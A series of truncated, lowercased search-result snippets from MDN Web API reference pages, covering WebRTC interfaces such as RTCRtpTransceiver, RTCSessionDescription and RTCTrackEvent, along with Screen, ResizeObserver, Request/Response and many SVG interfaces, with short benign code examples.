receiving and decoding incoming media data for the transceiver's stream. syntax var rtpreceiver = rtcrtptransceiver.receiver; value an rtcrtpreceiver object which is responsible for receiving and decoding incoming media data whose media id is the same as the current value of mid. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.receiver' in that specification. candidate recommendation ...
RTCRtpTransceiver.sender - Web APIs
candidate recommendation ...
RTCRtpTransceiver.stop() - Web APIs
candidate recommendation ...
RTCRtpTransceiver.stopped - Web APIs
usage notes this property is deprecated and will be removed in the future. instead, look at the value of currentdirection. its value is stopped if the transceiver has stopped. note: currently only firefox implements stopped, and has not yet been updated to implement this change. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.stopped' in that specification. candidate recommendation ...
RTCRtpTransceiver - Web APIs
candidate recommendation ...
RTCRtpTransceiverDirection - Web APIs
candidate recommendation ...
RTCRtpTransceiverInit - Web APIs
the rtcrtpsender. each entry is of type rtcrtpencodingparameters. streams optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remote peer's rtcpeerconnection's track event occurs, these are the streams that will be specified by that event. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiverinit' in that specification. candidate recommendation ...
RTCSctpTransport.state - Web APIs
taken from the rtcsctptransportstate enumerated type. its value is one of the following: connecting the initial state when the connection is being estabilished. connected the connection is open for data transmission. closed the connection is closed and can no longer be used. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport.state' in that specification. candidate recommendation initial definition. ...
RTCSctpTransport - Web APIs
ct representing the dtls transport used for the transmission and receipt of data packets. event handlers rtcsctptransport.onstatechange fired when the rtcsctptransport.state changes. methods this interface has no methods, but inherits methods from: eventtarget example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport' in that specification. candidate recommendation initial definition. ...
RTCSessionDescription() - Web APIs
candidate recommendation initial specification. ...
RTCSessionDescription.sdp - Web APIs
candidate recommendation initial specification. ...
RTCSessionDescription.toJSON() - Web APIs
es: "offer", "answer", "pranswer" or null. "sdp", containing a domstring, or null, with the sdp message corresponding to rtcsessiondescription.sdp property. example // sd is a rtcsessiondescriptor alert(json.stringify(sd)); // this call the tojson() method behind the scene. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription: tojson()' in that specification. candidate recommendation initial specification. ...
RTCSessionDescription.type - Web APIs
answer and may be changed when the definitive choice will be given. "rollback", the description rolls back to offer/answer state to the last stable state. example // the remote description has been set previously on pc, a rtcpeerconnection alert(pc.remotedescription.type); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.type' in that specification. candidate recommendation initial specification. ...
RTCSessionDescription - Web APIs
candidate recommendation initial definition. ...
RTCSessionDescriptionCallback - Web APIs
t of rtcsessiondescription. return value the callback doesn't need to return anything, so the return value is undefined. example var pc = new rtcpeerconnection(); var descriptioncallback = function(offer) { pc.setlocaldescription(offer); } pc.createoffer(descriptioncallback); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescriptioncallback' in that specification. candidate recommendation initial definition. ...
RTCStats.id - Web APIs
Web › API › RTCStats › id
which this rtcstats-based object provides statistics. the format of the id string is not defined by the specification, so you cannot reliably make any assumptions about the contents of the string, or assume that the format of the string will remain unchanged for a given object type. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.id' in that specification. candidate recommendation initial definition. ...
RTCStats.timestamp - Web APIs
ed since the beginning of january 1, 1970, utc. this should be accurate to within a few milliseconds but may not be entirely pricise, either because of hardware or operating system limitations or because of fingerprinting protection in the form of reduced clock precision or accuracy. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.timestamp' in that specification. candidate recommendation initial definition. ...
RTCStats.type - Web APIs
Web › API › RTCStats › type
es are the foundation of the statistics object. syntax var type = rtcstats.type; value a domstring which specifies which type of statistic is represented by the object. the string comes from the rtcstatstype enum and corrsponds to one of the rtcstats-based statistic object types. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.type' in that specification. candidate recommendation initial definition. ...
RTCStats - Web APIs
Web › API › RTCStats
the sending end of an rtp stream. rtcoutboundrtpstreamstats contains statistics about the local sending endpoint of an rtp stream. rtcremoteoutboundrtpstreamstats holds statistics related to the remote sending end an rtp stream. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats' in that specification. candidate recommendation initial specification. ...
RTCStatsReport - Web APIs
ent to an rtcrtpsender; also included are the media level metrics that go along with the track. transport an object that contains statistics related to a transport for an rtcpeerconnection. the object is of type rtctransportstats. using rtcstatsreport ... coming soon-ish ... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstatsreport' in that specification. candidate recommendation initial specification. ...
RTCTrackEvent() - Web APIs
streams that comprise the event's corresponding track. track the mediastreamtrack the event is associated with. transceiver the rtcrtptransceiver associated with the event. return value a new rtctrackevent describing a track which has been added to the rtcpeerconnection. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent()' in that specification. candidate recommendation initial specification. ...
RTCTrackEvent.receiver - Web APIs
candidate recommendation initial specification. ...
RTCTrackEvent.streams - Web APIs
candidate recommendation initial specification. ...
RTCTrackEvent.track - Web APIs
candidate recommendation initial specification. ...
RTCTrackEvent.transceiver - Web APIs
der and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.transceiver' in that specification. candidate recommendation initial specification. ...
RTCTrackEvent - Web APIs
rcobject of the <video> element with the id videobox to the first stream in the list passed in the event's streams array. peerconnection.addeventlistener("track", e => { let videoelement = document.getelementbyid("videobox"); videoelement.srcobject = e.streams[0]; }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent' in that specification. candidate recommendation initial specification. ...
RTCTrackEventInit.receiver - Web APIs
candidate recommendation initial specification. ...
RTCTrackEventInit.streams - Web APIs
candidate recommendation initial specification. ...
RTCTrackEventInit.track - Web APIs
candidate recommendation initial specification. ...
RTCTrackEventInit.transceiver - Web APIs
der and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.transceiver' in that specification. candidate recommendation initial specification. ...
RTCTrackEventInit - Web APIs
eceive the track's media. streams optional an array of mediastream objects representing each of the streams that comprise the event's corresponding track. track the mediastreamtrack the event is associated with. transceiver the rtcrtptransceiver associated with the event. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit' in that specification. candidate recommendation initial specification. ...
Range.detach() - Web APIs
Web › API › Range › detach
the method has been kept for compatibility. syntax range.detach(); example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.detach(); specifications specification status comment domthe definition of 'range.detach()' in that specification. living standard no change. ...
ReadableStream.tee() - Web APIs
e() method of the readablestream interface tees the current readable stream, returning a two-element array containing the two resulting branches as new readablestream instances. this is useful for allowing two readers to read a stream simultaneously, perhaps at different speeds. you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response body cannot be consumed more than once, you’d need two copies to do this. to cancel the stream you then need to cancel both resulting branches. teeing a stream will generally lock it for the duration, preventing other readers from locking it. syntax var teedstreams = readablestream.tee(); parameters none. return value an ...
RenderingContext - Web APIs
nterfaces that represent a graphics rendering context within a <canvas> element: canvasrenderingcontext2d, webglrenderingcontext, or webgl2renderingcontext. by using the shorthand renderingcontext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." as such, renderingcontext is an implementation detail, and isn't something web developers directly use. there is no renderingcontext interface, and there are no objects which implement type renderingcontext. the primary use of this type is the definition of the <canvas> element's htmlcanvaselement.getcontext(...
Request.clone() - Web APIs
Web › API › Request › clone
in fact, the main reason clone() exists is to allow multiple uses of body objects (when they are one-use only.) if intend to modify the request, you may prefer the request constructor. syntax var newrequest = request.clone(); parameters none. return value a request object, which is an exact copy of the request that clone() was called on. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then clone the request. ...
ResizeObserverEntry.contentRect - Web APIs
taining the new size of the element indicated by the target property. if the target is an html element, the returned contentrect is the element's content box. if the target is an svgelement, the returned contentrect is the svg's bounding box. examples the following snippet is taken from the resize-observer-text.html (see source) example. this uses a simple feature detection test to see if the browser supports the newer resizeobserverentry.contentboxsize property — if so, it uses that to get the sizing data it needs. if not, it uses contentrect. const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1,...
ResizeObserverEntry - Web APIs
ote: the content box is the box in which content can be placed, meaning the border box minus the padding and border width. the border box encompasses the content, padding, and border. see the box model for further explanation. methods none. examples the following snippet is taken from the resize-observer-text.html (see source) example. this uses a simple feature detection test to see if the browser supports the newer contentboxsize property — if so, it uses that to get the sizing data it needs. if not, it uses the older contentrect property. const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, ...
Resize Observer API - Web APIs
nging size (e.g. the window resize event), then figure out what the new dimensions or other features of the element after a resize using element.getboundingclientrect or window.getcomputedstyle, for example. such a solution tends to only work for limited use cases, be bad for performance (continually calling the above methods would result in a big performance hit), and often won't work when the browser window size is not changed. the resize observer api provides a solution to exactly these kinds of problems, and more besides, allowing you to easily observe and respond to changes in the size of an element’s content or border box in a performant way. it provides a javascript solution to the often-discussed lack of element queries in the web platform. usage is simple, and pretty much the sam...
Response.clone() - Web APIs
Web › API › Response › clone
in fact, the main reason clone() exists is to allow multiple uses of body objects (when they are one-use only.) syntax var response2 = response1.clone(); parameters none. value a response object. example in our fetch response clone example (see fetch response clone live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(). ...
SVGAElement.target - Web APIs
the link is activated. sample values can be found here example the code is taken from the "svgaelement example code" ... var linkref = document.queryselector('a'); linkref.target ='_blank'; ... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'target' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettargetchrome ...
SVGAElement - Web APIs
nchorelement.download. svgaelement.href see htmlanchorelement.href. svgaelement.hreflang is a domstring that reflects the hreflang attribute, indicating the language of the linked resource. svgaelement.ping is a domstring that reflects the ping attribute, containing a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. svgaelement.referrerpolicy see htmlanchorelement.referrerpolicy. svgaelement.rel see htmlanchorelement.rel. svgaelement.rellist see htmlanchorelement.rellist. svgaelement.target read only it corresponds to the target attribute of the given element. svgaelement.text is a domstring being a synonym for the node.textcontent property. svg...
SVGAnimatedAngle - Web APIs
e representing the current animated value of the given attribute. if the given attribute is not currently being animated, then the svgangle will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedangle interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedanglechrome ...
SVGAnimatedBoolean - Web APIs
e of the given attribute before applying any animations. animval boolean if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatedboolean interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedbooleanchrome...
SVGAnimatedEnumeration - Web APIs
ven attribute before applying any animations. animval unsigned short if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatedenumeration interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedenumerationch...
SVGAnimatedInteger - Web APIs
alue of the given attribute before applying any animations. animval long if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatedinteger interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedintegerchro...
SVGAnimatedLength - Web APIs
of the given attribute before applying any animations. animval svglength if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatedlength interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthchrom...
SVGAnimatedLengthList - Web APIs
ting the current animated value of the given attribute. if the given attribute is not currently being animated, then the svglengthlist will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedlengthlist interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthlistchr...
SVGAnimatedNumber - Web APIs
alue of the given attribute before applying any animations. animval float if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as baseval. methods the svganimatednumber interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberchrome ...
SVGAnimatedNumberList - Web APIs
epresents the current animated value of the given attribute. if the given attribute is not currently being animated, then the svgnumberlist will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatednumberlist interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberlistchr...
SVGAnimatedPathData - Web APIs
form which matches one-for-one with svg's syntax. thus, if the d attribute has an "absolute moveto (m)" and an "absolute arcto (a)" command, then pathseglist will have two entries: a svg_pathseg_moveto_abs and a svg_pathseg_arc_abs. methods this interface does not provide any specific methods, but implements those of its parent, svgpathelement. ...
SVGAnimatedPoints - Web APIs
svgpointlist provides access to the current animated contents of the points attribute. if the given attribute or property is being animated, contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, contains the same value as points. methods the svganimatedpoints interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedpointschrome ...
SVGAnimatedPreserveAspectRatio - Web APIs
current animated value of the given attribute. if the given attribute is not currently being animated, then the svgpreserveaspectratio will have the same contents as baseval. the object referenced by animval is always distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedpreserveaspectratio interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedpreserveaspec...
SVGAnimatedRect - Web APIs
ect representing the current animated value of the given attribute. if the given attribute is not currently being animated, then the svgrect will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedrect interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedrectchrome ...
SVGAnimatedString.animVal - Web APIs
but it does not support declarative-based svg animation. as a result, the animval property contains the same value as the baseval property. syntax var = object.animval specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimvalchrome ...
SVGAnimatedString.baseVal - Web APIs
baseval gets or sets the base value of the given attribute before any animations are applied.the base value of the given attribute before applying any animations. setter throws domexception. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaseva...
SVGAnimatedTransformList - Web APIs
e current animated value of the given attribute. if the given attribute is not currently being animated, then the svgtransformlist will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the attribute is not animated. methods the svganimatedtransformlist interface doesn't provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedtransformlist...
SVGCircleElement - Web APIs
ion of 'svgcircleelement' in that specification. candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgcircleelementchrome ...
SVGDocument - Web APIs
e domstring the title of a document as specified by the "title" sub-element of the "svg" root element (i.e., <svg><title>here is the title</title>...</svg>) url domstring the complete uri of the document. methods the svgdocument interface does not provide any specific methods. ...
SVGElement: load event - Web APIs
in the dom in the case of an embedded <svg>. it is basically the same as the standard load dom event. ...
SVGElement - Web APIs
ed on globaleventhandlers or windoweventhandlers. abort fired when page loading is stopped before an svg element has been allowed to load completely. also available via the onabort property. error fired when an svg element does not load properly or when an error occurs during script execution. also available via the onerror property. load fires on an svgelement when it is loaded in the browser. also available via the onload property. resize fired when an svg document is being resized. also available via the onresize property. scroll fired when an svg document view is being shifted along the x and/or y axes. also available via the onscroll property. unload fired when the dom implementation removes an svg document from a window or frame. also available via the onunload proper...
SVGFitToViewBox - Web APIs
preserveaspectratio svganimatedpreserveaspectratio corresponds to attribute preserveaspectratio on the given element. viewbox svganimatedrect corresponds to attribute viewbox on the given element. methods the svgfittoviewbox interface does not provide any specific methods. ...
SVGGraphicsElement: copy event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the clipboard. a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault(). however, the handler cannot read the clipboard data. ...
SVGGraphicsElement: cut event - Web APIs
if the user attempts a cut action on uneditable content, the cut event still fires but the event object contains no data. bubbles yes cancelable yes interface clipboardevent event handler property oncut the eventʼs default action is to copy the current selection (if any) to the system clipboard and remove it from the document. ...
SVGGraphicsElement: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position. a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property. ...
SVGImageElement - Web APIs
ne="middle">svgimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggraphicselement. svgimageelement.crossorigin a domstring corresponding to the crossorigin attribute of the given <image> element. svgimageelement.decoding returns a domstring representing a hint given to the browser on how it should decode the image. svgimageelement.height read only an svganimatedlength corresponding to the height attribute of the given <image> element. svgimageelement.preserveaspectratio read only an svganimatedpreserveaspectratio corresponding to the preserveaspectratio attribute of the given <image> element. svgimageelement.width read only an svganimatedlength corresponding to ...
SVGLength - Web APIs
Web › API › SVGLength
unittype. object attributes unittype, valueinspecifiedunits, and valueasstring might be modified as a result of this method. for example, if the original value were "0.5cm" and the method was invoked to convert to millimeters, then the unittype would be changed to svg_lengthtype_mm, valueinspecifiedunits would be changed to the numeric value 5 and valueasstring would be changed to "5mm". browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvglengthchrome ...
SVGLengthList - Web APIs
inserts a new item at the end of the list. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvglengthlistchrome ...
SVGMarkerElement - Web APIs
tself is read only. setorienttoauto() void sets the value of attribute orient to 'auto'. exceptions: a domexception with code no_modification_allowed_err is raised when the object itself is read only. ...
SVGNumberList - Web APIs
erts a new item at the end of the list. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgnumberlistchrome ...
SVGPathElement - Web APIs
onding to the pathlength attribute of the given <path> element. note: in svg 2 this property was moved to the svggeometryelement interface, from which this interface inherits it. methods this interface also inherits methods from its parent, svggeometryelement. svgpathelement.gettotallength() returns a float representing the computed value for the total length of the path using the browser's distance-along-a-path algorithm, as a distance in the current user coordinate system. note: in svg 2 this method was moved to the svggeometryelement interface, from which this interface inherits it. svgpathelement.getpointatlength() returns an svgpoint representing the x and y coordinates in user space utilizing the browser's distance-along-a-path algorithm. note: in svg 2 this me...
SVGPathSeg - Web APIs
t the type of the path segment as specified by one of the constants defined on this interface. pathsegtypeasletter domstring the type of the path segment as specified by the corresponding one character command name. methods the svgpathseg interface does not provide any specific methods. ...
SVGPathSegList - Web APIs
a new item at the end of the list. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list cannot be modified. ...
SVGPointList - Web APIs
is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. ...
SVGPreserveAspectRatio - Web APIs
torslice unsigned short the type of the meet-or-slice value as specified by one of the svg_meetorslice_* constants defined on this interface. exceptions on setting: a domexception with code no_modification_allowed_err is raised on an attempt to change the value of an attribute on a read only object. methods the svgpreserveaspectratio interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgpreserveaspectratioch...
SVGStylable - Web APIs
the given element. methods name & arguments return description getpresentationattribute(in domstring name) cssvalue returns the base (i.e., static) value of a given presentation attribute as an object of type cssvalue. the returned object is live; changes to the objects represent immediate changes to the objects to which the cssvalue is attached. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgstylablechrome ...
SVGTests - Web APIs
Web › API › SVGTests
glist corresponding to the requiredfeatures attribute of the given element. svgtests.requiredextensions read only an svgstringlist corresponding to the requiredextensions attribute of the given element. svgtests.systemlanguage read only an svgstringlist corresponding to the systemlanguage attribute of the given element. methods svgtests.hasextension() read only returns true if the browser supports the given extension, specified by a uri. specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtests' in that specification. candidate recommendation removed requiredfeatures property and hasextension() method. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtests' in that spe...
SVGTransform - Web APIs
ribute or when the object itself is read only. setskewy(in float angle) void sets the transform type to svg_transform_skewy, with parameter angle defining the amount of skew. exceptions: a domexception with code no_modification_allowed_err is raised when attempting to modify a read only attribute or when the object itself is read only. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformchrome ...
SVGTransformable - Web APIs
none properties readonly svganimatedtransformlist transform normative document svg 1.1 (2nd edition) properties name type description transform svganimatedtransformlist corresponds to attribute transform on the given element. methods the svgtransformable interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformablechrome ...
Screen.availHeight - Web APIs
the read-only screen interface's availheight property returns the height, in css pixels, of the space available for web content on the screen. since screen is exposed on the window interface's window.screen property, you access availheight using window.screen.availheight. you can similarly use screen.availwidth to get the number of pixels which are horizontally available to the browser for its use. syntax let availheight = window.screen.availheight; value a numeric value indicating the number of css pixels tall the screen's available space is. this can be no larger than the value of window.screen.height, and will be less if the device or user agent reserves any vertical space for itself. for instance, on a mac whose dock is located at the bottom of screen (which is the default), the va...
Screen.colorDepth - Web APIs
Web › API › Screen › colorDepth
the screen.colordepth read-only property returns the color depth of the screen. per the cssom, some implementations return 24 for compatibility reasons. see the browser compatibility section for those that don't. syntax bitdepth = window.screen.colordepth; example // check the color depth of the screen if ( window.screen.colordepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen.colordepth' in that specification. working draft ...
Screen.height - Web APIs
Web › API › Screen › height
window.screen.height) { // something is occupying some screen real estate! } notes note that not all of the height given by this property may be available to the window itself. widgets such as taskbars or other special application windows that integrate with the os (e.g., the spinner player minimized to act like an additional toolbar on windows) may reduce the amount of space available to browser windows and other applications. internet explorer will take into account the zoom setting when reporting the screen height. it will only return the real height of the screen if the zoom is set to 100%. specification specification status comment css object model (cssom) view modulethe definition of 'screen.height' in that specification. working draft ...
Screen.orientation - Web APIs
{ console.log("that looks good."); } else if (orientation === "landscape-secondary") { console.log("mmmh... the screen is upside down!"); } else if (orientation === "portrait-secondary" || orientation === "portrait-primary") { console.log("mmmh... you should rotate your device to landscape"); } else if (orientation === undefined) { console.log("the orientation api isn't supported in this browser :("); } specifications specification status comment screen orientation apithe definition of 'orientation' in that specification. working draft initial definition ...
Screen.pixelDepth - Web APIs
Web › API › Screen › pixelDepth
returns the bit depth of the screen. per the cssom, some implementations return 24 for compatibility reasons. see the browser compatibility section for those that don't. syntax let depth = window.screen.pixeldepth example // if there is not adequate bit depth // choose a simpler color if ( window.screen.pixeldepth > 8 ) { document.style.color = "#faebd7"; } else { document.style.color = "#ffffff"; } specifications specification status comment css object model (cssom) view modulethe definition of 'screen.pixeldepth' in that specification. working draft initial definition. ...
ScreenOrientation.angle - Web APIs
